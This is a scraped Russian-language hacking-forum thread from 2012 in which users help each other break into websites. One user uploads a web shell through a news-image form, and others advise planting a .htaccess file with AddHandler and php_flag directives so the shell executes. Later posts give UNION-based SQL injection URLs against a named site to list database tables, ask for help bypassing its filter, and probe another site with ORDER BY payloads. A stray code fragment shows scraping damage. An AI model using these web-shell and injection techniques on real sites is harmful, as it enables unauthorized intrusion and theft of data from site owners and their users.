14.03.2012, 19:20
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
еще вопрос.
Надо залить шелл. В админке могу только редактировать новости, а в новостях добавлять картинки. При добавлении картинки все хорошо заливается, даже расширение .пхп. Заливается на сервер. НО когда я заливаю например wso.php и потом иду по ссылки картинки получаю The server encountered an internal error or misconfiguration and was unable to complete your request.
когда же заливаю шелл с расширением например .jpg то нормально переходит по ссылке, но шел не срабатывает.
Есть какие то еще варианты?
|
|
|
14.03.2012, 19:27
|
|
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами:
8200406
Репутация:
38
|
|
Сообщение от kise
Есть ли что-то более удобное или функциональное?
Уйма. Можешь юзать морковку, панголини, safe3, круизер в конце концов.
Но лично я пришел к выводу, что лучше рук ничего ещё не написали)
|
|
|
|
14.03.2012, 19:29
|
|
Постоянный
Регистрация: 13.10.2010
Сообщений: 375
С нами:
8200406
Репутация:
38
|
|
Сообщение от jecka3000
еще вопрос.
Надо залить шелл. В админке могу только редактировать новости, а в новостях добавлять картинки. При добавлении картинки все хорошо заливается, даже расширение .пхп. Заливается на сервер. НО когда я заливаю например wso.php и потом иду по ссылки картинки получаю The server encountered an internal error or misconfiguration and was unable to complete your request.
когда же заливаю шелл с расширением например .jpg то нормально переходит по ссылке, но шел не срабатывает.
Есть какие то еще варианты?
Залить .htaccses как вариант. Потм залить какой-то shell.ololovskiy и открыть как исполняемый.
|
|
|
|
14.03.2012, 19:36
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
Сообщение от Pirotexnik
Залить .htaccses как вариант. Потм залить какой-то shell.ololovskiy и открыть как исполняемый.
ты имеешь в виду разрешить выполнение php файлов как картинку?
типа
Код:
AddType application/x-httpd-jpg .php
|
|
|
|
14.03.2012, 21:01
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
попробуй залить phpinfo(); и скажи что выйдет
если нет, то да, попробуй AddType application/x-httpd-jpg .ololo
и лей шелл.ololo
|
|
|
|
14.03.2012, 21:14
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
Сообщение от faza02
попробуй залить phpinfo(); и скажи что выйдет
если нет, то да, попробуй AddType application/x-httpd-jpg .ololo
и лей шелл.ololo
С пхп инфо не прокатило.
во втором случае просто выводит исходный код шелла, но не исполняет его
|
|
|
|
14.03.2012, 21:16
|
|
Banned
Регистрация: 21.11.2007
Сообщений: 181
С нами:
9721141
Репутация:
1013
|
|
http://www.vlunn.ru/detali2008.php?param=462+/*!union%0Aselect*/+1,2,3,4,5,6,7,8,910,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+/*!from*/+/*!informaTion_schema.tables*/--+
помогите обойти фильтр
jecka, php_flag engine 1
AddHandler application/x-httpd-php .ololo
|
|
|
|
14.03.2012, 21:39
|
|
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
С нами:
9555536
Репутация:
95
|
|
Сообщение от faza02
http://www.vlunn.ru/detali2008.php?param=462+/*!union%0Aselect*/+1,2,3,4,5,6,7,8,910,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+/*!from*/+/*!informaTion_schema.tables*/--+
помогите обойти фильтр
jecka, php_flag engine 1
AddHandler application/x-httpd-php .ololo
самое смешное, что и .htaccess как txt обрабатывается, т.е. при переходе на "картинку" вылетает содержимое htaccess..странно
|
|
|
|
14.03.2012, 21:41
|
|
Участник форума
Регистрация: 08.09.2011
Сообщений: 137
С нами:
7725206
Репутация:
26
|
|
Сообщение от faza02
http://www.vlunn.ru/detali2008.php?param=462+/*!union%0Aselect*/+1,2,3,4,5,6,7,8,910,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26,27,28+/*!from*/+/*!informaTion_schema.tables*/--+
помогите обойти фильтр
jecka, php_flag engine 1
AddHandler application/x-httpd-php .ololo
http://www.vlunn.ru/detali2008.php?param=462+/*!union%0Aselect*/+1,table_name,3,4,5,6,78,9,10,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26,27,28+from+information _schema.`tables`+limit+1,1--+
и т.д.
%20 ток убери)
|
|
|
|
14.03.2012, 22:28
|
|
Постоянный
Регистрация: 19.09.2008
Сообщений: 511
С нами:
9285182
Репутация:
340
|
|
Сообщение от OxoTnik
Сообщение от Fooog
Где можно почитать о баге типа: news/1'
?
Выдает по типу:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' and pd.news_id ='4'' at line 1
Это обычная sql уязвимость читай /thread43966.html
" if author else f"
OxoTnik said:
Сообщение от Fooog
Где можно почитать о баге типа: news/1'
?
Выдает по типу:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1'' and pd.news_id ='4'' at line 1
Это обычная sql уязвимость читай /thread43966.html Так точно. Но при:
1'+order+by+1+--
Выдает:
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order+by+1+--' and pd.news_id = '1'+order+by+1+--' and pd.language_id ='1'' at line 1
А при:
1'/**/order/**/by/**/1/**/--
- You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '79'' and pd.news_id ='1'' at line 1
+GROUP+BY+1+--
Также не помогает.
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
